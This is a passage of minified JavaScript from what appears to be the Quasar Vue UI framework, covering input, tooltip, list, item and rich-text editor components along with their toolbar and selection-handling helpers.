                return !0 === this.autogrow && (t.rows = 1),
                t
            }
        },
        methods: {
            focus: function() {
                var t = document.activeElement;
                void 0 === this.$refs.input || this.$refs.input === t || null !== t && t.id === this.targetUid || this.$refs.input.focus()
            },
            select: function() {
                void 0 !== this.$refs.input && this.$refs.input.select()
            },
            __onPaste: function(t) {
                if (!0 === this.hasMask && !0 !== this.reverseFillMask) {
                    var e = t.target;
                    this.__moveCursorForPaste(e, e.selectionStart, e.selectionEnd)
                }
                this.$emit("paste", t)
            },
            __onInput: function(t) {
                if (!t || !t.target || !0 !== t.target.composing)
                    if ("file" !== this.type) {
                        var e = t.target.value;
                        !0 === this.hasMask ? this.__updateMaskValue(e, !1, t.inputType) : this.__emitValue(e),
                        !0 === this.autogrow && this.__adjustHeight()
                    } else
                        this.$emit("input", t.target.files)
            },
            __emitValue: function(t, e) {
                var i = this;
                this.emitValueFn = function() {
                    "number" !== i.type && !0 === i.hasOwnProperty("tempValue") && delete i.tempValue,
                    i.value !== t && (!0 === e && (i.stopValueWatcher = !0),
                    i.$emit("input", t)),
                    i.emitValueFn = void 0
                }
                ,
                "number" === this.type && (this.typedNumber = !0,
                this.tempValue = t),
                void 0 !== this.debounce ? (clearTimeout(this.emitTimer),
                this.tempValue = t,
                this.emitTimer = setTimeout(this.emitValueFn, this.debounce)) : this.emitValueFn()
            },
            __adjustHeight: function() {
                var t = this.$refs.input;
                if (void 0 !== t) {
                    var e = t.parentNode.style;
                    e.marginBottom = t.scrollHeight - 1 + "px",
                    t.style.height = "1px",
                    t.style.height = t.scrollHeight + "px",
                    e.marginBottom = ""
                }
            },
            __onChange: function(t) {
                this.__onComposition(t),
                clearTimeout(this.emitTimer),
                void 0 !== this.emitValueFn && this.emitValueFn(),
                this.$emit("change", t)
            },
            __onFinishEditing: function(t) {
                var e = this;
                void 0 !== t && y(t),
                clearTimeout(this.emitTimer),
                void 0 !== this.emitValueFn && this.emitValueFn(),
                this.typedNumber = !1,
                this.stopValueWatcher = !1,
                delete this.tempValue,
                "file" !== this.type && this.$nextTick(function() {
                    void 0 !== e.$refs.input && (e.$refs.input.value = void 0 !== e.innerValue ? e.innerValue : "")
                })
            },
            __getCurValue: function() {
                return !0 === this.hasOwnProperty("tempValue") ? this.tempValue : void 0 !== this.innerValue ? this.innerValue : ""
            },
            __getShadowControl: function(t) {
                return t("div", {
                    staticClass: "q-field__native q-field__shadow absolute-full no-pointer-events"
                }, [t("span", {
                    staticClass: "invisible"
                }, this.__getCurValue()), t("span", this.shadowText)])
            },
            __getControl: function(t) {
                return t(!0 === this.isTextarea ? "textarea" : "input", {
                    ref: "input",
                    staticClass: "q-field__native q-placeholder",
                    style: this.inputStyle,
                    class: this.inputClass,
                    attrs: this.inputAttrs,
                    on: this.onEvents,
                    domProps: "file" !== this.type ? {
                        value: this.__getCurValue()
                    } : this.formDomProps
                })
            }
        },
        mounted: function() {
            !0 === this.autogrow && this.__adjustHeight()
        },
        beforeDestroy: function() {
            this.__onFinishEditing()
        }
    })
      , jn = t.extend({
        name: "QTooltip",
        mixins: [Se, Ce, qe, $e],
        props: {
            maxHeight: {
                type: String,
                default: null
            },
            maxWidth: {
                type: String,
                default: null
            },
            transitionShow: {
                default: "jump-down"
            },
            transitionHide: {
                default: "jump-up"
            },
            anchor: {
                type: String,
                default: "bottom middle",
                validator: ei
            },
            self: {
                type: String,
                default: "top middle",
                validator: ei
            },
            offset: {
                type: Array,
                default: function() {
                    return [14, 14]
                },
                validator: ii
            },
            scrollTarget: {
                default: void 0
            },
            delay: {
                type: Number,
                default: 0
            },
            hideDelay: {
                type: Number,
                default: 0
            }
        },
        computed: {
            anchorOrigin: function() {
                return si(this.anchor)
            },
            selfOrigin: function() {
                return si(this.self)
            },
            hideOnRouteChange: function() {
                return !0 !== this.persistent
            }
        },
        methods: {
            __show: function(t) {
                var e = this;
                this.__showPortal(),
                this.__nextTick(function() {
                    e.observer = new MutationObserver(function() {
                        return e.updatePosition()
                    }
                    ),
                    e.observer.observe(e.__portal.$el, {
                        attributes: !1,
                        childList: !0,
                        characterData: !0,
                        subtree: !0
                    }),
                    e.updatePosition(),
                    e.__configureScrollTarget()
                }),
                this.__setTimeout(function() {
                    e.$emit("show", t)
                }, 300)
            },
            __hide: function(t) {
                var e = this;
                this.__anchorCleanup(),
                this.__setTimeout(function() {
                    e.__hidePortal(),
                    e.$emit("hide", t)
                }, 300)
            },
            __anchorCleanup: function() {
                void 0 !== this.observer && (this.observer.disconnect(),
                this.observer = void 0),
                this.__unconfigureScrollTarget(),
                q(this, "tooltipTemp")
            },
            updatePosition: function() {
                if (void 0 !== this.anchorEl && void 0 !== this.__portal) {
                    var t = this.__portal.$el;
                    8 !== t.nodeType ? ni({
                        el: t,
                        offset: this.offset,
                        anchorEl: this.anchorEl,
                        anchorOrigin: this.anchorOrigin,
                        selfOrigin: this.selfOrigin,
                        maxHeight: this.maxHeight,
                        maxWidth: this.maxWidth
                    }) : setTimeout(this.updatePosition, 25)
                }
            },
            __delayShow: function(t) {
                var e = this;
                if (!0 === this.$q.platform.is.mobile) {
                    we(),
                    document.body.classList.add("non-selectable");
                    var i = de(this.anchorEl);
                    k(this, "tooltipTemp", ["touchmove", "touchcancel", "touchend", "click"].map(function(t) {
                        return [i, t, "__delayHide", "passiveCapture"]
                    }))
                }
                this.__setTimeout(function() {
                    e.show(t)
                }, this.delay)
            },
            __delayHide: function(t) {
                var e = this;
                this.__clearTimeout(),
                !0 === this.$q.platform.is.mobile && (q(this, "tooltipTemp"),
                we(),
                setTimeout(function() {
                    document.body.classList.remove("non-selectable")
                }, 10)),
                this.__setTimeout(function() {
                    e.hide(t)
                }, this.hideDelay)
            },
            __configureAnchorEl: function() {
                !0 !== this.noParentEvent && void 0 !== this.anchorEl && k(this, "anchor", !0 === this.$q.platform.is.mobile ? [[this.anchorEl, "touchstart", "__delayShow", "passive"]] : [[this.anchorEl, "mouseenter", "__delayShow", "passive"], [this.anchorEl, "mouseleave", "__delayHide", "passive"]])
            },
            __unconfigureScrollTarget: function() {
                void 0 !== this.__scrollTarget && (this.__changeScrollEvent(this.__scrollTarget),
                this.__scrollTarget = void 0)
            },
            __configureScrollTarget: function() {
                if (void 0 !== this.anchorEl || void 0 !== this.scrollTarget) {
                    this.__scrollTarget = De(this.anchorEl, this.scrollTarget);
                    var t = !0 === this.noParentEvent ? this.updatePosition : this.hide;
                    this.__changeScrollEvent(this.__scrollTarget, t)
                }
            },
            __renderPortal: function(t) {
                return t("transition", {
                    props: {
                        name: this.transition
                    }
                }, [!0 === this.showing ? t("div", {
                    staticClass: "q-tooltip q-tooltip--style q-position-engine no-pointer-events",
                    class: this.contentClass,
                    style: this.contentStyle,
                    attrs: {
                        role: "complementary"
                    }
                }, Lt(this, "default")) : null])
            }
        },
        mounted: function() {
            this.__processModelChange(this.value)
        }
    })
      , Vn = t.extend({
        name: "QList",
        mixins: [Mt, Dt],
        props: {
            bordered: Boolean,
            dense: Boolean,
            separator: Boolean,
            padding: Boolean
        },
        computed: {
            classes: function() {
                return "q-list" + (!0 === this.bordered ? " q-list--bordered" : "") + (!0 === this.dense ? " q-list--dense" : "") + (!0 === this.separator ? " q-list--separator" : "") + (!0 === this.isDark ? " q-list--dark" : "") + (!0 === this.padding ? " q-list--padding" : "")
            }
        },
        render: function(t) {
            return t("div", {
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , Nn = t.extend({
        name: "QItem",
        mixins: [Dt, Wt, $t, Mt],
        props: {
            active: Boolean,
            clickable: Boolean,
            dense: Boolean,
            insetLevel: Number,
            tabindex: [String, Number],
            focused: Boolean,
            manualFocus: Boolean
        },
        computed: {
            isActionable: function() {
                return !0 === this.clickable || !0 === this.hasRouterLink || "a" === this.tag || "label" === this.tag
            },
            isClickable: function() {
                return !0 !== this.disable && !0 === this.isActionable
            },
            classes: function() {
                var t;
                return (t = {
                    "q-item--clickable q-link cursor-pointer": this.isClickable,
                    "q-focusable q-hoverable": !0 === this.isClickable && !1 === this.manualFocus,
                    "q-manual-focusable": !0 === this.isClickable && !0 === this.manualFocus,
                    "q-manual-focusable--focused": !0 === this.isClickable && !0 === this.focused,
                    "q-item--dense": this.dense,
                    "q-item--dark": this.isDark,
                    "q-item--active": this.active
                })[this.activeClass] = !0 === this.active && !0 !== this.hasRouterLink && void 0 !== this.activeClass,
                t.disabled = this.disable,
                t
            },
            style: function() {
                var t;
                if (void 0 !== this.insetLevel)
                    return (t = {})["padding" + (!0 === this.$q.lang.rtl ? "Right" : "Left")] = 16 + 56 * this.insetLevel + "px",
                    t
            },
            onEvents: function() {
                return Object.assign({}, this.qListeners, {
                    click: this.__onClick,
                    keyup: this.__onKeyup
                })
            }
        },
        methods: {
            __getContent: function(t) {
                var e = Bt(this, "default", []);
                return !0 === this.isClickable && e.unshift(t("div", {
                    staticClass: "q-focus-helper",
                    attrs: {
                        tabindex: -1
                    },
                    ref: "blurTarget"
                })),
                e
            },
            __onClick: function(t) {
                !0 === this.isClickable && (void 0 !== this.$refs.blurTarget && (!0 !== t.qKeyEvent && document.activeElement === this.$el ? this.$refs.blurTarget.focus() : document.activeElement === this.$refs.blurTarget && this.$el.focus()),
                this.$emit("click", t))
            },
            __onKeyup: function(t) {
                if (!0 === this.isClickable && !0 === tt(t, 13)) {
                    S(t),
                    t.qKeyEvent = !0;
                    var e = new MouseEvent("click",t);
                    e.qKeyEvent = !0,
                    this.$el.dispatchEvent(e)
                }
                this.$emit("keyup", t)
            }
        },
        render: function(t) {
            var e = {
                staticClass: "q-item q-item-type row no-wrap",
                class: this.classes,
                style: this.style
            };
            return e[!0 === this.hasRouterLink ? "nativeOn" : "on"] = this.onEvents,
            !0 === this.isClickable ? e.attrs = {
                tabindex: this.tabindex || "0"
            } : !0 === this.isActionable && (e.attrs = {
                "aria-disabled": ""
            }),
            !0 === this.hasRouterLink ? (e.tag = "a",
            e.props = this.routerLinkProps,
            t("router-link", e, this.__getContent(t))) : t(this.tag, e, this.__getContent(t))
        }
    })
      , Hn = t.extend({
        name: "QItemSection",
        mixins: [Mt],
        props: {
            avatar: Boolean,
            thumbnail: Boolean,
            side: Boolean,
            top: Boolean,
            noWrap: Boolean
        },
        computed: {
            classes: function() {
                var t, e = this.avatar || this.side || this.thumbnail;
                return (t = {
                    "q-item__section--top": this.top,
                    "q-item__section--avatar": this.avatar,
                    "q-item__section--thumbnail": this.thumbnail,
                    "q-item__section--side": e,
                    "q-item__section--nowrap": this.noWrap,
                    "q-item__section--main": !e
                })["justify-" + (this.top ? "start" : "center")] = !0,
                t
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-item__section column",
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    });
    function Qn(t, e, i) {
        e.handler ? e.handler(t, i, i.caret) : i.runCmd(e.cmd, e.param)
    }
    function Wn(t, e) {
        return t("div", {
            staticClass: "q-editor__toolbar-group"
        }, e)
    }
    function Yn(t, e, i, s, n) {
        void 0 === n && (n = !1);
        var o = n || "toggle" === i.type && (i.toggled ? i.toggled(e) : i.cmd && e.caret.is(i.cmd, i.param))
          , r = []
          , a = {
            click: function(t) {
                s && s(),
                Qn(t, i, e)
            }
        };
        if (i.tip && e.$q.platform.is.desktop) {
            var l = i.key ? t("div", [t("small", "(CTRL + " + String.fromCharCode(i.key) + ")")]) : null;
            r.push(t(jn, {
                props: {
                    delay: 1e3
                }
            }, [t("div", {
                domProps: {
                    innerHTML: i.tip
                }
            }), l]))
        }
        return t(be, {
            props: Object.assign({}, e.buttonProps, {
                icon: i.icon,
                color: o ? i.toggleColor || e.toolbarToggleColor : i.color || e.toolbarColor,
                textColor: o && !e.toolbarPush ? null : i.textColor || e.toolbarTextColor,
                label: i.label,
                disable: !!i.disable && ("function" != typeof i.disable || i.disable(e)),
                size: "sm"
            }),
            on: a
        }, r)
    }
    function Un(t, e) {
        if (e.caret)
            return e.buttons.filter(function(t) {
                return !e.isViewingSource || t.find(function(t) {
                    return "viewsource" === t.cmd
                })
            }).map(function(i) {
                return Wn(t, i.map(function(i) {
                    return (!e.isViewingSource || "viewsource" === i.cmd) && ("slot" === i.type ? Lt(e, i.slot) : "dropdown" === i.type ? function(t, e, i) {
                        var s, n, o = "only-icons" === i.list, r = i.label, a = i.icon;
                        function l() {
                            d.componentInstance.hide()
                        }
                        if (o)
                            n = i.options.map(function(i) {
                                var s = void 0 === i.type && e.caret.is(i.cmd, i.param);
                                return s && (r = i.tip,
                                a = i.icon),
                                Yn(t, e, i, l, s)
                            }),
                            s = e.toolbarBackgroundClass,
                            n = [Wn(t, n)];
                        else {
                            var c = void 0 !== e.toolbarToggleColor ? "text-" + e.toolbarToggleColor : null
                              , u = void 0 !== e.toolbarTextColor ? "text-" + e.toolbarTextColor : null;
                            n = i.options.map(function(i) {
                                var s = !!i.disable && i.disable(e)
                                  , n = void 0 === i.type && e.caret.is(i.cmd, i.param);
                                n && (r = i.tip,
                                a = i.icon);
                                var o = i.htmlTip;
                                return t(Nn, {
                                    props: {
                                        active: n,
                                        activeClass: c,
                                        clickable: !0,
                                        disable: s,
                                        dense: !0
                                    },
                                    on: {
                                        click: function(t) {
                                            l(),
                                            e.$refs.content && e.$refs.content.focus(),
                                            e.caret.restore(),
                                            Qn(t, i, e)
                                        }
                                    }
                                }, ["no-icons" === i.list ? null : t(Hn, {
                                    class: n ? c : u,
                                    props: {
                                        side: !0
                                    }
                                }, [t(Et, {
                                    props: {
                                        name: i.icon
                                    }
                                })]), t(Hn, [o ? t("div", {
                                    domProps: {
                                        innerHTML: i.htmlTip
                                    }
                                }) : i.tip ? t("div", [i.tip]) : null])])
                            }),
                            s = [e.toolbarBackgroundClass, u],
                            n = [t(Vn, [n])]
                        }
                        var h = i.highlight && r !== i.label
                          , d = t(ri, {
                            props: Object.assign({}, e.buttonProps, {
                                noCaps: !0,
                                noWrap: !0,
                                color: h ? e.toolbarToggleColor : e.toolbarColor,
                                textColor: h && !e.toolbarPush ? null : e.toolbarTextColor,
                                label: i.fixedLabel ? i.label : r,
                                icon: i.fixedIcon ? i.icon : a,
                                contentClass: s
                            })
                        }, n);
                        return d
                    }(t, e, i) : Yn(t, e, i))
                }))
            })
    }
    function Kn(t, e) {
        return !(!t || t === document.body) && (e === document ? document.body : e).contains(t.parentNode)
    }
    var Xn = /^https?:\/\//
      , Gn = function(t, e) {
        this.el = t,
        this.vm = e,
        this._range = null
    }
      , Zn = {
        selection: {
            configurable: !0
        },
        hasSelection: {
            configurable: !0
        },
        range: {
            configurable: !0
        },
        parent: {
            configurable: !0
        },
        blockParent: {
            configurable: !0
        }
    };
    Zn.selection.get = function() {
        if (this.el) {
            var t = document.getSelection();
            if (Kn(t.anchorNode, this.el) && Kn(t.focusNode, this.el))
                return t
        }
        return null
    }
    ,
    Zn.hasSelection.get = function() {
        return null !== this.selection && this.selection.toString().length > 0
    }
    ,
    Zn.range.get = function() {
        var t = this.selection;
        return null !== t && t.rangeCount ? t.getRangeAt(0) : this._range
    }
    ,
    Zn.parent.get = function() {
        var t = this.range;
        if (null !== t) {
            var e = t.startContainer;
            return e.nodeType === document.ELEMENT_NODE ? e : e.parentNode
        }
        return null
    }
    ,
    Zn.blockParent.get = function() {
        var t = this.parent;
        return null !== t ? function t(e, i) {
            if (i && e === i)
                return null;
            var s = e.nodeName.toLowerCase();
            if (!0 === ["div", "li", "ul", "ol", "blockquote"].includes(s))
                return e;
            var n = (window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle).display;
            return "block" === n || "table" === n ? e : t(e.parentNode)
        }(t, this.el) : null
    }
    ,
    Gn.prototype.save = function(t) {
        void 0 === t && (t = this.range),
        null !== t && (this._range = t)
    }
    ,
    Gn.prototype.restore = function(t) {
        void 0 === t && (t = this._range);
        var e = document.createRange()
          , i = document.getSelection();
        null !== t ? (e.setStart(t.startContainer, t.startOffset),
        e.setEnd(t.endContainer, t.endOffset),
        i.removeAllRanges(),
        i.addRange(e)) : (i.selectAllChildren(this.el),
        i.collapseToEnd())
    }
    ,
    Gn.prototype.hasParent = function(t, e) {
        var i = e ? this.parent : this.blockParent;
        return null !== i && i.nodeName.toLowerCase() === t.toLowerCase()
    }
    ,
    Gn.prototype.hasParents = function(t, e, i) {
        return void 0 === i && (i = this.parent),
        null !== i && (null !== i && !0 === t.includes(i.nodeName.toLowerCase()) || !0 === e && this.hasParents(t, e, i.parentNode))
    }
    ,
    Gn.prototype.is = function(t, e) {
        switch (t) {
        case "formatBlock":
            return "DIV" === e && this.parent === this.el || this.hasParent(e, "PRE" === e);
        case "link":
            return this.hasParent("A", !0);
        case "fontSize":
            return document.queryCommandValue(t) === e;
        case "fontName":
            var i = document.queryCommandValue(t);
            return i === '"' + e + '"' || i === e;
        case "fullscreen":
            return this.vm.inFullscreen;
        case "viewsource":
            return this.vm.isViewingSource;
        case void 0:
            return !1;
        default:
            var s = document.queryCommandState(t);
            return void 0 !== e ? s === e : s
        }
    }
    ,
    Gn.prototype.getParentAttribute = function(t) {
        return null !== this.parent ? this.parent.getAttribute(t) : null
    }
    ,
    Gn.prototype.can = function(t) {
        return "outdent" === t ? this.hasParents(["blockquote", "li"], !0) : "indent" === t ? this.hasParents(["li"], !0) : "link" === t ? null !== this.selection || this.is("link") : void 0
    }
    ,
    Gn.prototype.apply = function(t, e, i) {
        if (void 0 === i && (i = f),
        "formatBlock" === t)
            ["BLOCKQUOTE", "H1", "H2", "H3", "H4", "H5", "H6"].includes(e) && this.is(t, e) && (t = "outdent",
            e = null),
            "PRE" === e && this.is(t, "PRE") && (e = "P");
        else {
            if ("print" === t) {
                i();
                var s = window.open();
                return s.document.write("\n        <!doctype html>\n        <html>\n          <head>\n            <title>Print - " + document.title + "</title>\n          </head>\n          <body>\n            <div>" + this.el.innerHTML + "</div>\n          </body>\n        </html>\n      "),
                s.print(),
                void s.close()
            }
            if ("link" === t) {
                var n = this.getParentAttribute("href");
                if (null === n) {
                    var o = this.selectWord(this.selection)
                      , r = o ? o.toString() : "";
                    if (!r.length)
                        return;
                    this.vm.editLinkUrl = Xn.test(r) ? r : "https://",
                    document.execCommand("createLink", !1, this.vm.editLinkUrl),
                    this.save(o.getRangeAt(0))
                } else
                    this.vm.editLinkUrl = n,
                    this.range.selectNodeContents(this.parent),
                    this.save();
                return
            }
            if ("fullscreen" === t)
                return this.vm.toggleFullscreen(),
                void i();
            if ("viewsource" === t)
                return this.vm.isViewingSource = !1 === this.vm.isViewingSource,
                this.vm.__setContent(this.vm.value),
                void i()
        }
        document.execCommand(t, !1, e),
        i()
    }
    ,
    Gn.prototype.selectWord = function(t) {
        if (null === t || !0 !== t.isCollapsed || void 0 === t.modify)
            return t;
        var e = document.createRange();
        e.setStart(t.anchorNode, t.anchorOffset),
        e.setEnd(t.focusNode, t.focusOffset);
        var i = e.collapsed ? ["backward", "forward"] : ["forward", "backward"];
        e.detach();
        var s = t.focusNode
          , n = t.focusOffset;
        return t.collapse(t.anchorNode, t.anchorOffset),
        t.modify("move", i[0], "character"),
        t.modify("move", i[1], "word"),
        t.extend(s, n),
        t.modify("extend", i[1], "character"),
        t.modify("extend", i[0], "word"),
        t
    }
    ,
    Object.defineProperties(Gn.prototype, Zn);
    var Jn = Object.prototype.toString
      , to = Object.prototype.hasOwnProperty
      , eo = {};
    function io(t) {
        return null === t ? String(t) : eo[Jn.call(t)] || "object"
    }
    function so(t) {
        if (!t || "object" !== io(t))
            return !1;
        if (t.constructor && !to.call(t, "constructor") && !to.call(t.constructor.prototype, "isPrototypeOf"))
            return !1;
        var e;
        for (e in t)
            ;
        return void 0 === e || to.call(t, e)
    }
    function no() {
        var t, e, i, s, n, o, r = arguments, a = arguments[0] || {}, l = 1, c = !1, u = arguments.length;
        for ("boolean" == typeof a && (c = a,
        a = arguments[1] || {},
        l = 2),
        Object(a) !== a && "function" !== io(a) && (a = {}),
        u === l && (a = this,
        l--); l < u; l++)
            if (null !== (t = r[l]))
                for (e in t)
                    i = a[e],
                    a !== (s = t[e]) && (c && s && (so(s) || (n = "array" === io(s))) ? (n ? (n = !1,
                    o = i && "array" === io(i) ? i : []) : o = i && so(i) ? i : {},
                    a[e] = no(c, o, s)) : void 0 !== s && (a[e] = s));
        return a
    }
    "Boolean Number String Function Array Date RegExp Object".split(" ").forEach(function(t) {
        eo["[object " + t + "]"] = t.toLowerCase()
    });
    var oo = t.extend({
        name: "QEditor",
        mixins: [Mt, gi, Dt],
        props: {
            value: {
                type: String,
                required: !0
            },
            readonly: Boolean,
            disable: Boolean,
            minHeight: {
                type: String,
                default: "10rem"
            },
            maxHeight: String,
            height: String,
            definitions: Object,
            fonts: Object,
            placeholder: String,
            toolbar: {
                type: Array,
                validator: function(t) {
                    return 0 === t.length || t.every(function(t) {
                        return t.length
                    })
                },
                default: function() {
                    return [["left", "center", "right", "justify"], ["bold", "italic", "underline", "strike"], ["undo", "redo"]]
                }
            },
            toolbarColor: String,
            toolbarBg: String,
            toolbarTextColor: String,
            toolbarToggleColor: {
                type: String,
                default: "primary"
            },
            toolbarOutline: Boolean,
            toolbarPush: Boolean,
            toolbarRounded: Boolean,
            contentStyle: Object,
            contentClass: [Object, Array, String],
            square: Boolean,
            flat: Boolean,
            dense: Boolean
        },
        computed: {
            editable: function() {
                return !this.readonly && !this.disable
            },
            hasToolbar: function() {
                return this.toolbar && this.toolbar.length > 0
            },
            toolbarBackgroundClass: function() {
                if (this.toolbarBg)
                    return "bg-" + this.toolbarBg
            },
            buttonProps: function() {
                return {
                    type: "a",
                    flat: !0 !== this.toolbarOutline && !0 !== this.toolbarPush,
                    noWrap: !0,
                    outline: this.toolbarOutline,
                    push: this.toolbarPush,
                    rounded: this.toolbarRounded,
                    dense: !0,
                    color: this.toolbarColor,
                    disable: !this.editable,
                    size: "sm"
                }
            },
            buttonDef: function() {
                var t = this.$q.lang.editor
                  , e = this.$q.iconSet.editor;
                return {
                    bold: {
                        cmd: "bold",
                        icon: e.bold,
                        tip: t.bold,
                        key: 66
                    },
                    italic: {
                        cmd: "italic",
                        icon: e.italic,
                        tip: t.italic,
                        key: 73
                    },
                    strike: {
                        cmd: "strikeThrough",
                        icon: e.strikethrough,
                        tip: t.strikethrough,
                        key: 83
                    },
                    underline: {
                        cmd: "underline",
                        icon: e.underline,
                        tip: t.underline,
                        key: 85
                    },
                    unordered: {
                        cmd: "insertUnorderedList",
                        icon: e.unorderedList,
                        tip: t.unorderedList
                    },
                    ordered: {
                        cmd: "insertOrderedList",
                        icon: e.orderedList,
                        tip: t.orderedList
                    },
                    subscript: {
                        cmd: "subscript",
                        icon: e.subscript,
                        tip: t.subscript,
                        htmlTip: "x<subscript>2</subscript>"
                    },
                    superscript: {
                        cmd: "superscript",
                        icon: e.superscript,
                        tip: t.superscript,
                        htmlTip: "x<superscript>2</superscript>"
                    },
                    link: {
                        cmd: "link",
                        disable: function(t) {
                            return t.caret && !t.caret.can("link")
                        },
                        icon: e.hyperlink,
                        tip: t.hyperlink,
                        key: 76
                    },
                    fullscreen: {
                        cmd: "fullscreen",
                        icon: e.toggleFullscreen,
                        tip: t.toggleFullscreen,
                        key: 70
                    },
                    viewsource: {
                        cmd: "viewsource",
                        icon: e.viewSource,
                        tip: t.viewSource
                    },
                    quote: {
                        cmd: "formatBlock",
                        param: "BLOCKQUOTE",
                        icon: e.quote,
                        tip: t.quote,
                        key: 81
                    },
                    left: {
                        cmd: "justifyLeft",
                        icon: e.left,
                        tip: t.left
                    },
                    center: {
                        cmd: "justifyCenter",
                        icon: e.center,
                        tip: t.center
                    },
                    right: {
                        cmd: "justifyRight",
                        icon: e.right,
                        tip: t.right
                    },
                    justify: {
                        cmd: "justifyFull",
                        icon: e.justify,
                        tip: t.justify
                    },
                    print: {
                        type: "no-state",
                        cmd: "print",
                        icon: e.print,
                        tip: t.print,
                        key: 80
                    },
                    outdent: {
                        type: "no-state",
                        disable: function(t) {
                            return t.caret && !t.caret.can("outdent")
                        },
                        cmd: "outdent",
                        icon: e.outdent,
                        tip: t.outdent
                    },
                    indent: {
                        type: "no-state",
                        disable: function(t) {
                            return t.caret && !t.caret.can("indent")
                        },
                        cmd: "indent",
                        icon: e.indent,
                        tip: t.indent
                    },
                    removeFormat: {
                        type: "no-state",
                        cmd: "removeFormat",
                        icon: e.removeFormat,
                        tip: t.removeFormat
                    },
                    hr: {
                        type: "no-state",
                        cmd: "insertHorizontalRule",
                        icon: e.hr,
                        tip: t.hr
                    },
                    undo: {
                        type: "no-state",
                        cmd: "undo",
                        icon: e.undo,
                        tip: t.undo,
                        key: 90
                    },
                    redo: {
                        type: "no-state",
                        cmd: "redo",
                        icon: e.redo,
                        tip: t.redo,
                        key: 89
                    },
                    h1: {
                        cmd: "formatBlock",
                        param: "H1",
                        icon: e.heading1 || e.heading,
                        tip: t.heading1,
                        htmlTip: '<h1 class="q-ma-none">' + t.heading1 + "</h1>"
                    },
                    h2: {
                        cmd: "formatBlock",
                        param: "H2",
                        icon: e.heading2 || e.heading,
                        tip: t.heading2,
                        htmlTip: '<h2 class="q-ma-none">' + t.heading2 + "</h2>"
                    },
                    h3: {
                        cmd: "formatBlock",
                        param: "H3",
                        icon: e.heading3 || e.heading,
                        tip: t.heading3,
                        htmlTip: '<h3 class="q-ma-none">' + t.heading3 + "</h3>"
                    },
                    h4: {
                        cmd: "formatBlock",
                        param: "H4",
                        icon: e.heading4 || e.heading,
                        tip: t.heading4,
                        htmlTip: '<h4 class="q-ma-none">' + t.heading4 + "</h4>"
                    },
                    h5: {
                        cmd: "formatBlock",
                        param: "H5",
                        icon: e.heading5 || e.heading,
                        tip: t.heading5,
                        htmlTip: '<h5 class="q-ma-none">' + t.heading5 + "</h5>"
                    },
                    h6: {
                        cmd: "formatBlock",
                        param: "H6",
                        icon: e.heading6 || e.heading,
                        tip: t.heading6,
                        htmlTip: '<h6 class="q-ma-none">' + t.heading6 + "</h6>"
                    },
                    p: {
                        cmd: "formatBlock",
                        param: "DIV",
                        icon: e.heading,
                        tip: t.paragraph
                    },
                    code: {
                        cmd: "formatBlock",
                        param: "PRE",
                        icon: e.code,
                        htmlTip: "<code>" + t.code + "</code>"
                    },
                    "size-1": {
                        cmd: "fontSize",
                        param: "1",
                        icon: e.size1 || e.size,
                        tip: t.size1,
                        htmlTip: '<font size="1">' + t.size1 + "</font>"
                    },
                    "size-2": {
                        cmd: "fontSize",
                        param: "2",
                        icon: e.size2 || e.size,
                        tip: t.size2,
                        htmlTip: '<font size="2">' + t.size2 + "</font>"
                    },
                    "size-3": {
                        cmd: "fontSize",
                        param: "3",
                        icon: e.size3 || e.size,
                        tip: t.size3,
                        htmlTip: '<font size="3">' + t.size3 + "</font>"
                    },
                    "size-4": {
                        cmd: "fontSize",
                        param: "4",
                        icon: e.size4 || e.size,
                        tip: t.size4,
                        htmlTip: '<font size="4">' + t.size4 + "</font>"
                    },
                    "size-5": {
                        cmd: "fontSize",
                        param: "5",
                        icon: e.size5 || e.size,
                        tip: t.size5,
                        htmlTip: '<font size="5">' + t.size5 + "</font>"
                    },
                    "size-6": {
                        cmd: "fontSize",
                        param: "6",
                        icon: e.size6 || e.size,
                        tip: t.size6,
                        htmlTip: '<font size="6">' + t.size6 + "</font>"
                    },
                    "size-7": {
                        cmd: "fontSize",
                        param: "7",
                        icon: e.size7 || e.size,
                        tip: t.size7,
                        htmlTip: '<font size="7">' + t.size7 + "</font>"
                    }
                }
            },
            buttons: function() {
                var t = this
                  , e = this.definitions || {}
                  , i = this.definitions || this.fonts ? no(!0, {}, this.buttonDef, e, function(t, e, i, s) {
                    void 0 === s && (s = {});
                    var n = Object.keys(s);
                    if (0 === n.length)
                        return {};
                    var o = {
                        default_font: {
                            cmd: "fontName",
                            param: t,
                            icon: i,
                            tip: e
                        }
                    };
                    return n.forEach(function(t) {
                        var e = s[t];
                        o[t] = {
                            cmd: "fontName",
                            param: e,
                            icon: i,
                            tip: e,
                            htmlTip: '<font face="' + e + '">' + e + "</font>"
                        }
                    }),
                    o
                }(this.defaultFont, this.$q.lang.editor.defaultFont, this.$q.iconSet.editor.font, this.fonts)) : this.buttonDef;
                return this.toolbar.map(function(s) {
                    return s.map(function(s) {
                        if (s.options)
                            return {
                                type: "dropdown",
                                icon: s.icon,
                                label: s.label,
                                size: "sm",
                                dense: !0,
                                fixedLabel: s.fixedLabel,
                                fixedIcon: s.fixedIcon,
                                highlight: s.highlight,
                                list: s.list,
                                options: s.options.map(function(t) {
                                    return i[t]
                                })
                            };
                        var n = i[s];
                        return n ? "no-state" === n.type || e[s] && (void 0 === n.cmd || t.buttonDef[n.cmd] && "no-state" === t.buttonDef[n.cmd].type) ? n : Object.assign({
                            type: "toggle"
                        }, n) : {
                            type: "slot",
                            slot: s
                        }
                    })
                })
            },
            keys: function() {
                var t = {}
                  , e = function(e) {
                    e.key && (t[e.key] = {
                        cmd: e.cmd,
                        param: e.param
                    })
                };
                return this.buttons.forEach(function(t) {
                    t.forEach(function(t) {
                        t.options ? t.options.forEach(e) : e(t)
                    })
                }),
                t
            },
            innerStyle: function() {
                return this.inFullscreen ? this.contentStyle : [{
                    minHeight: this.minHeight,
                    height: this.height,
                    maxHeight: this.maxHeight
                }, this.contentStyle]
            },
            classes: function() {
                return "q-editor q-editor--" + (!0 === this.isViewingSource ? "source" : "default") + (!0 === this.disable ? " disabled" : "") + (!0 === this.inFullscreen ? " fullscreen column" : "") + (!0 === this.square ? " q-editor--square no-border-radius" : "") + (!0 === this.flat ? " q-editor--flat" : "") + (!0 === this.dense ? " q-editor--dense" : "") + (!0 === this.isDark ? " q-editor--dark q-dark" : "")
            },
            innerClass: function() {
                return [this.contentClass, {
                    col: this.inFullscreen,
